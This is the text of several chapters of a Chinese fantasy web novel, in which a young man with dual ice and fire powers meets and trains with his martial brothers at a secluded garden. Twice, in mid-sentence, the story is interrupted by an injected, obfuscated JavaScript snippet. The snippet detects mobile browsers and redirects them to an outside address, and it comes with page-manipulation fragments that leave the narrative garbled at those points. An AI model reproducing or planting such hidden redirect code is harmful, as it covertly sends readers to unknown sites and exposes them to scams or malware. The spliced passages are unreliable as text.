“这套书。”江淮年扬了扬手里的《山海经》,“怎么卖?” 少年挑了挑眉:“那套啊,五十。不过你手里那本掉页了,算你四十五。” 江淮年放下书:“太贵了。” “嫌贵就别买。”少年耸耸肩,继续低头摆弄他的仪器,“旧货市场又不是慈善机构。” 江淮年没走。他盯着陆时忆手里的仪器,忽然问:“那是什么?” 少年动作一顿,抬起头,这次眼神里多了几分审视:“你问这个干什么?” “好奇。没见过这样的怀表。” “这不是怀表。”少年把仪器收进口袋,“行了,不买书就走吧,别挡着我做生意。” 江淮年没动。 他盯着少年,脑子里快速思考。 萧予说过,这个世界有很多隐藏的异能者,他们通常不会轻易暴露身份。 但如果这个人真的是…… “我叫江淮年。”他试探着说,“你……是不是‘那个’?” 这话问得含糊不清,但江淮年想,如果对方真是异能者,应该能听懂他的意思。 然而少年的反应完全出乎他的意料。 只见他的表情瞬间变得古怪,眼睛瞪大,脸以肉眼可见的速度红了起来。 他后退两步,双手抱胸,一副被非礼了的样子: “等等等等!你这话是什么意思?‘那个’是哪个?我警告你啊,虽然我长得是挺帅的,但我对男的没兴趣!绝对没有!” 江淮年愣住了。 他在说什么? “不是,我不是那个意思——”他连忙解释。 “那你是什么意思?”少年警惕地看着他,“突然问我是不是‘那个’,还一脸试探的样子……喂,你该不会是那种人吧?虽然我不歧视啊,但我真的不是!” 江淮年这才反应过来对方误会了什么。 他的脸也红了,一半是尴尬,一半是着急:“我不是说那个!我是说……你是不是……有特殊能力?” 最后四个字说得很轻,但少年听到了。 他的表情从警惕变成了惊讶,然后又变成了然,最后变成了尴尬。 他摸了摸鼻子,咳嗽了两声:“啊……原来是这个意思啊。咳,误会,误会。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119447|195948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 气氛一时有些凝滞。 两个少年面对面,一个红着脸,一个摸着鼻子,谁也不知道该说什么。 旧货市场的喧嚣在周围继续,但在这个小小的书摊前,时间好像静止了。 少年盯着江淮年,目光从他火红色的头发,扫到异色的瞳孔,再扫到他身上那件与周围环境格格不入的衣服。 “我叫陆时忆。”陆时忆站起身,伸了个懒腰,“谁带你入门的?” 江淮年犹豫了一下,“一个老人带我入门的,他叫萧予。” 陆时忆挑了挑眉:“萧老头?原来他最近消失是去找新人了。那你呢?什么系?” “什么系?” “异能属性啊。”陆时忆像看外星人一样看着他,“火系?水系?风系?土系?雷系?冰系?暗系?还是什么稀有变异?” 江淮年愣住了。 他没想到异能还有这么详细的分类。 萧予只说过他有双系的潜力,但没具体解释。 “我……还不知道。”他老实说,“萧予说我体内有两股力量,一冰一火,但现在还没觉醒。” “双系?”陆时忆眼睛一亮,“那可稀罕了。不过也麻烦,两种对立属性在一个人身上,搞不好会把自己炸了。”他顿了顿,又问,“萧老头教了你什么?” “冥想,感受源。” “基础功课。”陆时忆点点头,“也对,你这种特殊体质基础打不好确实危险。”他喝了口茶,“我是雷系,刚觉醒一年。萧老头是我师父。这老家伙神出鬼没的,一个月前把我们几个都赶出来历练,说是不突破就不准回去。当然。我现在已经历练结束了,就等着你呢” 江淮年愣了愣:“等我?” 陆时忆一边收拾摊子,一边回着江淮年:“对啊,师父说他新收了个徒弟让我见见,也不说长什么样,要不然我肯定能认出你嘛。” “走吧。”陆时忆把木箱背在肩上,“我带你回去。正好我的历练也结束了,该回静园了。” 两人走出集市,踏上回家的小路。路上没什么人,陆时忆的话匣子就打开了。 “啊——还是外头空气好。小师弟,你这几个月在静园闷坏了吧?师父是不是整天让你打坐练气,啥也不让干?” “差不多。” “我就知道。”陆时忆一副果然如此的表情,“老头儿就那套,几十年不带变的。当年我也是这么过来的,坐了几个月差点把腿坐折。不过说真的,打坐虽然无聊,但对夯实基础特别有用。你看我现在”他忽然抬手,指尖噼啪闪过一道细小的电火花,“控制得还行吧?” 江淮年看得真切,那电火花虽小,却凝实稳定,在陆时忆指尖跳跃自如,完全不像他那种时灵时不灵的微弱感应。这就是真正觉醒后的力量吗? “厉害。”他由衷地说。 “一般一般。”陆时忆收回手,嘴上谦虚,但脸上写满了得意,“等你觉醒了,肯定比我厉害。双系啊,啧啧,想想就带劲。到时候咱们师兄弟几个联手,什么影仆魔物的,统统干翻。” 江淮年沉默地走着,土路在脚下延伸,两旁的田野里稻穗低垂,随风泛起金黄的波浪。远处村落升起袅袅炊烟,夕阳正缓缓沉入地平线,把天空染成橘红色。 一切都平静祥和,仿佛那个充满怪物与异能的世界从未存在过。 “小师弟。”陆时忆忽然开口,“静园里现在除了师父和你,还有别人吗?” “没有。师父说你们都在外历练。” “那正好,咱们回去吓他们一跳。”陆时忆挤挤眼,“裴衍那家伙,整天那种谁都懒得搭理跟谁欠他钱似的。时聿更绝,三棍子打不出个屁。宋听澜倒是爱笑,但笑里藏刀,阴得很。你跟他们相处久了就知道了。哎,到了。” 前方,静园的围墙已经隐约可见。青瓦白墙在暮色中沉默矗立。庭院深处,那株百年银杏探出墙头,金黄的叶子在晚风中沙沙作响。 陆时忆加快脚步:“走走走,赶在饭点前回去,还能蹭上师父炖的鸡汤。你是不知道,老头儿炖鸡汤那是一绝,我馋了几个月了……” 江淮年跟在他身后,看着静园的大门在视野中越来越清晰。独处修行结束了,等待他的将是与几位师兄的正式见面,以及更加严苛的训练。 但他没有退缩。他想起江妤,想起那个雨夜,想起自己跪在雨中嘶吼却无人回应的绝望。 无论前方是什么,他都要走下去。 为了变强。 为了救回妹妹。 为了不再经历那样的无能为力。 5. 那个玩土的到底在装什么! 静园的生活在陆时忆归来后,明显热闹了起来。 少年仿佛自带一种打破沉寂的特质,他会在清晨练功时故意放错招式,引得萧予皱眉指点,会在午膳时讲些历练途中听来的荒唐轶事,哪怕听众只有江淮年一个,也能说得绘声绘色。 更会在傍晚拖着江淮年满园子转悠,指着各处说:“瞧见那口井没?裴衍小时候练功分心,一头栽进去过,捞上来时跟落汤鸡似的。” “还有那棵梅树,时聿第一次尝试影遁,把自己卡在树影里半个时辰,最后还是师父把他拽出来的。” 江淮年大多时候只是听着,偶尔问两句。 他话不多,这三个月独处的习惯尚未褪去,更多时候是观察。 观察陆时忆如何操控指尖跳跃的电弧,如何在奔跑时让电流掠过以加快速度,又如何将雷系异能凝成细小的箭。 “我啊,主速度与爆发。但控制不好就容易伤及自身。我刚觉醒那会儿,没少把自己电得头发倒竖。” 江淮年试着调动自己体内那两股微弱的力量。 冰息在深处流转,火意在灼烧,他能让指尖凝出霜花,也能让掌心腾起星火,但仅此而已。 比起陆时忆那种如臂使指的操控,他的力量更像是刚学会走路的婴孩,踉踉跄跄,时灵时不灵。 “急不得。”陆时忆拍拍他的肩,“我觉醒后足足半年,才能让电光离体一寸。你这都双系了,难度翻倍不止,慢慢来。” 话虽如此,江淮年心里那股焦躁却与日俱增。时间每过去一天,江妤在黑暗中的危险就多一分。 他常常在夜深人静时取出那枚贝壳胸针,借着窗外透进的月光细细地看,仿佛能透过这小小的物件,看见妹妹那双淡蓝色的眼睛。 这样的日子持续了五天。第六天黄昏,静园的大门再次被叩响。 彼时江淮年正与陆时忆在庭院中央过招。 说是过招,实则是陆时忆单方面喂招。他将电流控制在极微弱的程度,化作细密电网铺开,让江淮年尝试以冰火之力破开。 江淮年左掌凝霜,右掌聚火,双掌齐出,霜火交织,却只在电网前溅起零星碎光,便双双溃散。 “力度不够集中。”陆时忆撤去电网,指尖一点电光跳跃,“冰与火相冲,你同时催动,大半力量都在内耗。试试先专精一系?” 江淮年喘息着点头,正欲再试,叩门声传来。三短一长,带着某种特定的节奏。 陆时忆动作一顿,脸上露出玩味的笑:“哟,第二位回来了。” 萧予已从书房走出,拄着竹杖缓步至门前。木门吱呀打开,门外站着一个高挑的身影。 那人比陆时忆还要高一点,肩宽腿长,穿着一身沾满尘土的深褐色劲装,几缕碎发散在额前,遮住了部分眉眼。他背着一个硕大的行囊,手里还提着一柄用布包裹的长条状物件,看起来风尘仆仆。 最引人注目的是他的眼睛,半眯着,倦怠慵懒,仿佛刚从一个漫长的梦境中苏醒,对眼前的一切都提不起兴致。 “师父。”来人开口,声音低沉,带着长途跋涉后的沙哑。 萧予微微颔首:“回来了。此行如何?” “西南三处异常点已清理,影仆数量比预想中多两成,但未有影主活动的迹象。”裴衍语速平稳,汇报简洁,“另外,在苍梧山寻到一块地脉石,已带回。” 说着,他将手中长条状物件外的布解开,露出一截灰褐色的石条。 石条表面天然生有螺旋纹路,隐隐有土黄色光晕流转。 “不错。”萧予接过地脉石,眼中掠过满意之色,“去洗漱歇息吧。晚膳时分,来书房见我。” 他应了声是,这才将目光转向院中另外两人。他的视线先落在陆时忆身上,略一点头算是打过招呼,随后移向江淮年。 那目光很平静,甚至可以说是淡漠,但江淮年却感到一股无形的压力。 一种居高临下的审视。 像在评估一件物品的价值。 江淮年很不喜欢这样的眼神。 “这位是江淮年,你们的新师弟。”萧予简单介绍,“淮年,这是裴衍,你师兄。” 裴衍。江淮年默念这个名字,原来这就是陆时忆口中“谁都懒得搭理跟谁欠他钱似的”那位。 “裴师兄。”他依礼招呼。 裴衍没应声,只是又看了他两秒,然后淡淡移开视线,提着行囊朝西厢房走去。他的步伐稳健,每一步都踏得极实,落地无声,但江淮年莫名觉得,整个庭院的土地似乎都随着他的脚步微微震颤。 “他就这样。”陆时忆凑到江淮年耳边,压低声音,“跟块石头似的,又硬又闷。你别介意,熟了就好。虽然我跟他认识几年了也没觉得有多熟。” 江淮年看着裴衍的背影消失在厢房廊下,没说话。 他心里那股莫名的焦躁又升腾起来。 这个人,这种眼神,让他想起雨夜之前,那些用异样目光打量他的陌生人。 晚膳时分,四人围坐在偏厅的木桌旁。桌上摆着四菜一汤,菜肴朴素,但香气扑鼻。 萧予坐在主位,慢条斯理地喝着汤。陆时忆已经迫不及待地夹了块羊肉塞进嘴里,烫得直抽气也不肯吐出来。裴衍坐得端正,筷子用得规规矩矩,每一口都细嚼慢咽。江淮年坐在裴衍对面,低头扒饭,偶尔夹一筷子青菜。 饭桌上很安静,只有碗筷碰撞的轻响。江淮年能感觉到裴衍的目光时不时落在他身上,那种审视感又来了。 “淮年来了三个月,基础已初步稳固。”萧予忽然开口,打破了沉默,“从明日起,裴衍,你负责带他进行体能和基础格斗训练。时忆从旁辅助,但以操控练习为主。” 裴衍放下筷子:“是。” 陆时忆含着饭含糊应声:“唔唔!” “淮年。”萧予看向江淮年,“你体内冰火双系相冲,目前不宜深入修习异能,当以打磨体魄、锤炼心性为先。裴衍虽不善言辞,但于武道一途根基扎实,你需用心学。” 江淮年点头:“弟子明白。” “如此便好。”萧予不再多言,继续用餐。 饭后,陆时忆主动收拾碗筷,哼着不成调的小曲去了厨房。裴衍起身朝外走,江淮年犹豫了一瞬,跟了上去。 夜幕已降,庭院里亮起几盏石灯笼,昏黄的光晕晕染开,将青石板路照得朦朦胧胧。 裴衍在银杏树下站定,转过身,那双半眯的眼睛在夜色中显得格外幽深。 “师父让我教你。”他开口,声音没什么起伏,“但教归教,学不学得会,看你自己。” 江淮年听出了话里的意思。 裴衍并不情愿带他这个拖油瓶。 他抿了抿唇,压下心头那点不悦:“请师兄指点。” “明日寅时三刻,在此处等我。”裴衍说,“迟到一刻,加练一个时辰。” 说完,他不再看江淮年,径直回了西厢房。房门关上,发出轻微的咔哒声。 江淮年站在原地,夜风吹过,银杏叶子沙沙作响。他抬头看向那扇紧闭的房门,心里那股火又窜了上来。 装什么装。 他想起陆时忆的描述,想起裴衍那副高高在上的审视姿态,想起那句冷淡的“看你自己”。 几个月来积压的焦虑、对江妤的担忧、对自己无能的愤怒,在这一刻找到了一个具体的发泄对象。 凭什么? 江淮年转身,大步走向自己的房间。 关门时用力稍重,木门撞在门框上,发出砰的一声闷响。 这一夜,他睡得极不安稳。 梦里又是那个雨夜,江妤被影仆抓走,他拼命追赶,却怎么也追不上。醒来时,窗外天色尚暗。 他起身洗漱,换上一身便于活动的黑色劲装,这是萧予前几日给他的,料子结实,剪裁利落。 推开房门,庭中寒意扑面而来,东方天际只泛起一丝鱼肚白。 银杏树下已站着一人。 裴衍背对着他,同样一身黑色劲装,听见脚步声,他并未回头,只淡淡道:“早到了一刻钟。不错。” 江淮年走到他身侧三步远处站定,没接话。 “今日先测你底子。”裴衍转过身,那双半眯的眼睛终于完全睁开。 江淮年这才发现,裴衍的眼瞳是褐色,近乎于黑,“绕园跑二十圈,限时半个时辰。开始。” 静园占地不小。 寻常人半个时辰内完成已属不易,更何况要维持速度。江淮年没多言,深吸一口气,迈步开跑。 第一圈、第二圈尚可,呼吸平稳,步伐轻快。 但从第三圈开始,小腿开始发酸,胸腔里像塞了一团棉花,每一次呼吸都带着灼痛。 第五圈时,汗水已浸透后背,额发黏在颊边,眼前阵阵发黑。 他咬紧牙关,强迫自己继续。脑子里闪过江妤的脸,闪过那枚贝壳胸针,闪过萧予说“双系,千年难遇,但也凶险万分”。不能停,不能慢,他要变强,强到足以撕碎那些黑暗,把妹妹带回来。 第十圈,他的速度明显慢了下来,每一步都像踩在棉花上。裴衍不知何时已走到庭中石凳坐下,手里端着一杯热茶,慢悠悠地喝着,目光却如影随形地跟着江淮年。 “还有十圈。”裴衍的声音不高,却清晰传来,“照这个速度,你要超时了。” 江淮年没回应,只是再次加速。 肺像要炸开,喉咙里涌上血腥味,但他不管不顾,把所有的力气都灌注到双腿上。 第十五圈,他眼前开始出现重影,耳鸣阵阵。有那么一瞬间,他想停下来,想跪倒在地大口喘息。但裴衍的声音又飘了过来:“最后五圈。撑不住可以放弃,我不会笑话你。” 放弃? 江淮年扯出一个难看的笑容。他的人生里从来没有“放弃”这两个字。父母去世时没有,独自撑起店铺时没有,爬那座山时没有,现在也不会有。 第十八圈,他的意识已经开始模糊,全凭本能在跑。脚步踉跄,有几次差点摔倒,又硬生生稳住。 第十九圈,最后一圈。 视线里,银杏树的轮廓在晃动,石灯笼的光晕扭曲成一团。江淮年听见自己的心跳如擂鼓,听见血液在耳中奔流,听见裴衍放下茶杯的轻响。 他冲过终点,双腿一软,整个人向前扑倒。 没有预想中坚硬地面的撞击,一双有力的手臂接住了他。 裴衍不知何时已来到他身前,扶住他瘫软的身体,让他缓缓坐倒在地。 “时间,半个时辰又一刻。”裴衍的声音在头顶响起,“超时一刻钟。” 江淮年剧烈喘息,说不出话,只能抬头瞪他。 裴衍与他对视,眼眸里看不出情绪。 片刻,他松开手,从怀中取出一个瓷瓶,倒出一粒丹药递过来:“服下,调息一刻钟。然后开始下一项。” 丹药入口即化,化作一股暖流涌向四肢百骸。江淮年盘膝坐下,依着萧予所授的呼吸法调息。一刻钟后,那种濒死的虚脱感消退了大半,虽然肌肉依旧酸痛,但至少能站起来了。 “下一项,基础拳架。”裴衍已在庭中空地处站定,摆出一个起手式,“看好了,我只演示一遍。” 他的动作很慢,但每一个细节都精准到位。江淮年凝神细看,试图记住每一个关节的转折,每一寸肌肉的发力。 一遍演示完毕,裴衍收势:“你来。” 江淮年依样画葫芦地摆出起手式,却总觉得哪里不对。姿势是那个姿势,但就是没有裴衍那种浑然天成的感觉。 “肩太紧。”裴衍走到他身侧,手掌按在他右肩上,“放松。拳架不是摆样子,是让气血畅通,劲力贯通。” 他的手掌宽厚温热,透过衣料传来沉实的力度。江淮年依言放松肩膀,果然感觉顺畅了许多。 “腰□□沉,重心落在两脚之间。”裴衍的手移到他的腰侧,轻轻一压,“对,就这样。记住这个感觉。” 接下来一个时辰,裴衍将一套最基础的拳架拆解成十几个动作,逐一纠正。 他的指导简洁直接,没有多余的话,但每一句都切中要害。江淮年学得认真,汗水再次浸透衣衫,却不敢有丝毫懈怠。 晨光彻底照亮庭院时,训练暂告一段落。裴衍示意江淮年休息,自己则走到一旁,开始练习另一套更复杂的拳法。他的动作比之前快了许多,拳风呼啸,身形腾挪间,脚下青石板竟微微震颤,仿佛整片土地都在与他呼应。 这就是土系异能吗?江淮年看得入神。不同于陆时忆那种外放的、炫目的雷电,裴衍的力量更内敛,更厚重,仿佛与大地血脉相连。 “别光看,感受。”裴衍忽然开口,动作未停,“土系之力,在于承与载。承万物之重,载天地之厚。你的冰与火太过暴烈,需学土之沉稳,方能驾驭。” 江淮年一愣,没想到裴衍会主动指点。他收敛心神,尝试去感受。 不是用眼睛看,而是用身体去感知那种与大地的共鸣。起初什么也感觉不到,但随着裴衍拳势展开,他渐渐察觉到脚下传来极细微的震动,像心跳,像脉搏,沉稳而有力。 “感觉到了?”裴衍收势,气息平稳如初。 江淮年点头,又摇头:“只有一点点。” “一点点也是进步。”裴衍难得说了句还算中听的话,“明日继续。” 接下来的几日,训练日程雷打不动:寅时三刻集合,先跑圈,再练拳,而后是力量训练。裴衍严苛冷酷。江淮年动作稍有偏差,他便冷声纠正;速度稍有放缓,他便加练惩罚。 但江淮年从未抱怨过一句。每次累到极限,想放弃时,他就摸一摸贴身收着的贝壳胸针,然后咬紧牙关继续。他的进步肉眼可见,跑圈时间从超时一刻钟缩短到正好半个时辰,拳架从生疏僵硬到流畅自然,石锁的重量从二十斤加到四十斤。 第四日午后,陆时忆加入了训练。他一身利落短打,笑嘻嘻地揽住江淮年的肩:“小师弟,光练体能可不行,异能操控也得跟上。来,师兄教你点好玩的。” 他将江淮年拉到庭院东侧的空地,那里立着几个木人桩:“看好了啊,最基础的用法之一。” 陆时忆伸出食指,指尖噼啪闪过一道电光,随即点向木人桩。只听嗤的一声轻响,木人桩表面留下一小块焦黑的痕迹。 “要领是凝而不散,快而准。”陆时忆收回手,“你试试,不用管威力,先找凝的感觉。” 江淮年依言伸出右手食指,尝试调动火系力量。右眼深处的那股热流缓缓涌出,顺着经脉流向指尖。他能感觉到热量在汇聚,却无法像陆时忆那样凝成一点,只能让整根手指微微发红发烫。 “不对不对。”陆时忆摇头,“你这是在散,不是凝。想象你手里有一根针,你要把所有的力量都灌注到针尖上。” 江淮年闭上眼,努力想象。针尖,极细的针尖,所有热量都压缩到那一点……指尖的温度骤然升高,一小簇橘红色的火苗倏地窜起,虽只维持了一瞬便熄灭,但终究是成形了。 “诶,可以啊!”陆时忆眼睛一亮,“再来再来!” 江淮年再次尝试。这次他有了经验,火苗持续了两息时间,且在指尖稳定燃烧,不再摇曳不定。虽然只有指甲盖大小,温度也不高,但已是突破。 “不错不错!”陆时忆拍手,“接下来试试移动。让火苗从指尖跳到木人桩上。” 这又是个新难题。江淮年试了几次,火苗要么在半途熄灭,要么歪歪斜斜撞在木人桩上,只留下一点焦痕,毫无威力可言。 “别急,慢慢来。”陆时忆倒是有耐心,一遍遍示范讲解,“你看我,电光离体后,要用意念牵引,像放风筝似的,线在你手里,风筝飞多远、飞多高,都得你控制。 江淮年凝神观察。陆时忆指尖的电光确实像有生命一般,离体后并不立即消散,而是随着他手指的细微动作在空中游走,最后精准命中木人桩上预设的标记。 意念牵引……江淮年似有所悟。他再次催动火苗,这次不再急着让它飞出去,而是先让它在指尖稳定燃烧,然后用意识去触摸它,感受它的温度、形态、跃动的节奏。渐渐地,他感觉自己与这簇小火苗之间建立起了某种微妙的联系,仿佛它是自己延伸出去的一部分。 “去。”他轻喝一声,指尖微动。 火苗倏地离体,在空中划过一道橘红的弧线,稳稳落在木人桩上。 嗤—— 焦黑的痕迹扩大了一圈,虽仍浅淡,但比之前明显了许多。 “漂亮!”陆时忆欢呼,“小师弟有天赋啊!照这个进度,不出一个月就能……” “一个月?”一个冷淡的声音插了进来。 裴衍不知何时已结束了力量训练,正抱臂站在不远处。他脸上没什么表情,但那双深褐色的眼睛里写满了不以为然:“花架子。” 陆时忆挑眉:“哟,裴石头,酸了?嫉妒小师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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仍是陆时忆喂招,江淮年以冰火之力应对。经过几日练习,他已能同时凝出冰锥与火球,虽只有拳头大小,且飞行轨迹笨拙,但至少不再轻易溃散。 “左边!哎对,封他走位!”陆时忆一边闪躲,一边口头指导,“右边再来一发!别同时扔,错开时间,让他顾此失彼!” 江淮年额头沁汗,左掌凝冰,右掌聚火,冰锥与火球交替射出。陆时忆身形如电,在庭院中腾挪辗转,总能险之又险地避开。偶尔有几道攻击擦身而过,在青石板地上留下焦痕或冰霜。 “有进步!”陆时忆笑嘻嘻地停下,抹了把汗,“照这个速度,再过两个月……” 话音未落,庭院角落的阴影忽然扭曲了一瞬。 那是一种极其细微的变化,若非江淮年一直紧绷着神经,几乎无法察觉。阴影仿佛活了过来,像水波般荡漾,随即向中央汇聚,凝聚成人形。 那人从阴影中走出,仿佛他一直就站在那里,只是刚刚才被光线照亮。 他个子很高,与裴衍相仿,整个人几乎与身后的阴影融为一体。 短发干净利落,脸上架着一副深色墨镜。 即使在黄昏时分,墨镜也未曾摘下。 最引人注目的是他的气质,冷得像一块冰,站在那里,周遭温度似乎都下降了几度。 陆时忆吹了声口哨:“哟,回来了?这次又钻了多少个老鼠洞?” 时聿瞥了陆时忆一眼,没接话,目光转向江淮年。 墨镜挡住了他的眼睛,但江淮年能感觉到一道审视的视线落在自己身上。 “新人?”时聿开口,声音比他的气质更冷,没什么起伏。 “新师弟,江淮年。”陆时忆抢着介绍,“小师弟,这是时聿,咱们三师兄,影系。人狠话不多,你习惯就好。” 江淮年依礼招呼:“时师兄。” 时聿没应声,只是微微颔首,算是打过招呼。随后他看向陆时忆:“师父呢?” “书房。刚还念叨你呢,说你这趟去得久了些。”陆时忆说着,凑近了些,压低声音,“怎么样?西边那件事处理干净了?” 时聿点头,没多言,径直朝书房走去。他的步伐极轻,落地无声,行走时衣袂甚至不带动空气流动,整个人像一道真正的影子,悄无声息地滑过庭院。 江淮年目送他的背影消失,心里那股说不清道不明的烦躁又涌了上来。 “别介意啊。”陆时忆拍拍他的肩,“时聿就这德行,跟谁都欠他八百万似的。其实人不错,就是闷了点。不对,不是闷,是冷,冷得像块冰。” “没关系。”江淮年说,声音没什么波澜。 晚膳时,桌上多了一副碗筷。时聿坐在裴衍身侧,坐姿端正,墨镜仍未摘下。他吃得很少,动作极轻,几乎不发出任何声音。整个饭桌上,只有陆时忆在叽叽喳喳地说着话,裴衍偶尔应一两句,时聿全程沉默,萧予则慢条斯理地喝着汤。 饭后,萧予将四人唤至书房。老人坐在太师椅上,面前摊开一卷地图,上面用朱笔圈出了几个地点。 “北境传来消息,影仆活动有加剧迹象。”萧予手指点在地图某处,“疑有黑暗领主在彼处建立据点。裴衍、时聿,你二人明日出发,前往查探。若情况属实,不必硬拼,传讯回来即可。” 裴衍与时聿同时应声:“是。” “时忆。”萧予看向陆时忆,“你留在静园,继续指导淮年修习。他体内冰火之力渐趋稳定,可尝试更深层的操控之法,但切记循序渐进,不可冒进。” 陆时忆咧嘴一笑:“得令!” 萧予最后看向江淮年:“淮年,你随师兄们修行已有些时日。他们外出期间,你需更加勤勉,不可懈怠。” 江淮年垂首:“我明白。” “都去吧。”萧予挥挥手,重新将目光投向地图,不再言语。 四人退出书房。庭院里月色正好,银杏树的叶子在夜风中沙沙作响。 裴衍与时聿低声交谈了几句,便各自回房收拾行装。陆时忆伸了个懒腰,对江淮年道:“小师弟,明天开始咱俩可就得相依为命了。放心,师兄我一定把你教得……” “陆时忆。”一个冷淡的声音打断了他。 裴衍不知何时去而复返,手里拿着一个小布包,递给江淮年:“里面是舒筋活络的草药,沐浴时放入热水中,可缓解训练后的酸痛。” 江淮年愣住,接过布包:“谢……谢谢师兄。” 裴衍没多言,转身要走,却又顿住脚步,侧过头:“我不在时,训练不可中断。每日功课,陆时忆会监督你完成。” 这话说得生硬,江淮年心里那点火又窜了上来。 他攥紧布包,声音冷了几分:“不劳师兄费心,我自己知道该怎么做。” 裴衍回过头,那双眼在月色下显得格外幽深。他看着江淮年,看了很久,久到江淮年几乎要以为他会说些什么。但最终,裴衍只是点了点头:“知道就好。” 说完,他转身离开,背影很快消失在厢房廊下。 陆时忆凑过来,压低声音:“啧啧,裴石头居然会关心人?太阳打西边出来了。” 江淮年没接话,只是攥着那个布包。草药隔着布料传来淡淡的清香,和他预想中裴衍的形象格格不入。 “行了,早点休息。”陆时忆拍拍他,“明天开始,咱们可得加练了。师父让我教你更深层的操控之法,嘿嘿,正好试试我新琢磨出的几个雷系招式……” 江淮年点点头,朝自己房间走去。推门前,他回头看了一眼。庭院中月色如水,银杏树下空无一人,只有夜风吹过,带走几片金黄的叶子。 裴衍和时聿明日就要离开。静园又将只剩他、陆时忆和萧予三人。 这本该让他松一口气。 毕竟裴衍的严苛和时聿的冷漠都让他不适。 但不知为何,看着那扇紧闭的房门,想着那人离开前那句生硬的嘱咐,江淮年心里竟泛起一丝细微的连他自己都未曾察觉的失落。 他摇摇头,把这莫名的情绪甩开,推门进屋。 烛火亮起,橘黄的光晕填满狭小的空间。江淮年坐在床边,从怀中取出那枚贝壳胸针,在指尖轻轻摩挲。 “江妤,”他对着烛火轻声说,“再等等哥哥。哥哥很快就会变强,强到能把那些伤害你的东西,全部碾碎。” 胸针在烛光下泛着温润的光泽,像深海的星星。 6. 踏上找妹的征程 静园迎来了最后一位归客。 江淮年照例在寅时三刻醒来,洗漱更衣,推门而出。 庭中薄雾未散,银杏树的轮廓在雾气中若隐若现,叶片上凝着细小的露珠。 他深吸一口微凉的空气,正准备开始晨跑,却听见大门方向传来轻微的叩击声。 萧予已从正房走出,朝大门走去。木门吱呀打开,门外站着一个人。 那人一身素白长衫,衣袂在晨风中微微飘动。 他身形颀长,比裴衍略矮,但比江淮年高出些许。灰色的短发梳理得一丝不苟,在熹微晨光中泛着柔和的银光。 最引人注目的是他的脸。 五官清俊,眉眼含笑,嘴角噙着一抹温和的弧度,看起来极易亲近。 但江淮年却莫名觉得,那笑容底下藏着些什么。就像陆时忆曾说过的:“宋听澜倒是爱笑,但笑里藏刀,阴得很。” “师父。”宋听澜躬身行礼,声音温润如玉,“弟子回来了。” “嗯。”萧予颔首,侧身让他进门,“此行可还顺利?” “幸不辱命。”宋听澜直起身,目光在庭院中扫过,最后落在江淮年身上。他的笑容更深了些,“这位便是小师弟吧?果然如师父信中所言,一表人才。” 江淮年依礼抱拳:“宋师兄。” “不必多礼。”宋听澜走近几步,从袖中取出一个巴掌大的木雕盒子,雕工精细,盒面刻着缠枝莲纹,“初次见面,一点薄礼,不成敬意。” 江淮年迟疑着接过。 盒子入手温润,带着淡淡的木质香气。 打开,里面是一枚青玉平安扣,玉质通透,内里隐有流光转动。 “这是温灵玉,常年佩戴可宁心静气,对你调和体内冰火之力或有助益。”宋听澜温声解释,语气真诚得让人挑不出毛病。 “多谢师兄。”江淮年合上盒子,郑重收好。不管宋听澜这人底细如何,这份礼物的确送到他心坎上了。自冰火双系觉醒以来,他时常感觉心浮气躁,尤其是情绪激动时,两股力量便不受控制地冲撞,几次险些伤及自身。 陆时忆打着哈欠从东厢房走出来,看见宋听澜,眼睛一亮:“哟,笑面虎回来了?正好,那俩人不在,我一个人带小师弟快闷死了。” 宋听澜转向陆时忆,笑容不变:“多日不见,时忆还是这么活泼。” “那是,不像某些人,整天端着张笑脸,累不累啊。”陆时忆挤眉弄眼,显然是在调侃宋听澜。 宋听澜也不恼,只是笑着摇摇头,转而看向萧予:“师父,裴衍和时聿还未归?” “昨日传讯,三日后回。”萧予说着,目光投向江淮年,“淮年,你宋师兄于木系操控颇有心得,可向他请教。” 宋听澜立刻接话:“师父谬赞。不过若小师弟不嫌弃,我确有些粗浅心得可分享。” 江淮年点头:“那便有劳师兄了。” 晨练依旧。 跑圈、拳架、力量训练,一样不落。宋听澜并未立即参与指导,而是在一旁静静观看。他看得极认真,那双含笑的灰眸专注地追随着江淮年的每一个动作,偶尔微微颔首,偶尔轻轻摇头。 训练间歇,江淮年坐在石凳上喘息,宋听澜递来一杯温水:“小师弟根基扎实,进步神速。只是……” “只是什么?”江淮年接过水杯。 “只是太过急躁。”宋听澜在他对面坐下,姿态优雅,“你出拳时,肩颈紧绷;跑圈时,呼吸紊乱;就连调息时,眉间也凝着一股郁气。心中有事?” 江淮年握着水杯的手紧了紧。 他当然有事,江妤还在影仆手中,他每耽搁一天,妹妹的危险就多一分。但他不能说,至少不能对刚见面的宋听澜说。 “没什么。”他垂下眼。 宋听澜也不追问,只是笑了笑:“修行如烹小鲜,急不得。尤其你身负双系,更需徐徐图之。过刚易折,过急易乱,这个道理,小师弟想必明白。” 江淮年沉默。他明白,但他等不了。 “我观你体内冰火之力,似有失衡之象。”宋听澜话锋一转,“火盛而冰弱,长此以往,恐伤及经脉。午后若有闲暇,我可为你调息疏导。” 这话说得诚恳,江淮年想了想,点头应下:“多谢师兄。” 午后,二人来到庭院西侧的竹林。 这里清幽僻静,只有风吹竹叶的沙沙声。 宋听澜让江淮年盘膝坐下,自己则立于他身后,双手虚按在他背心。 “闭目,凝神,放缓呼吸。” 江淮年依言照做。 很快,他感到一股温润平和的力量从背心涌入,顺着经脉缓缓流淌。 那力量与他的冰火之力截然不同。 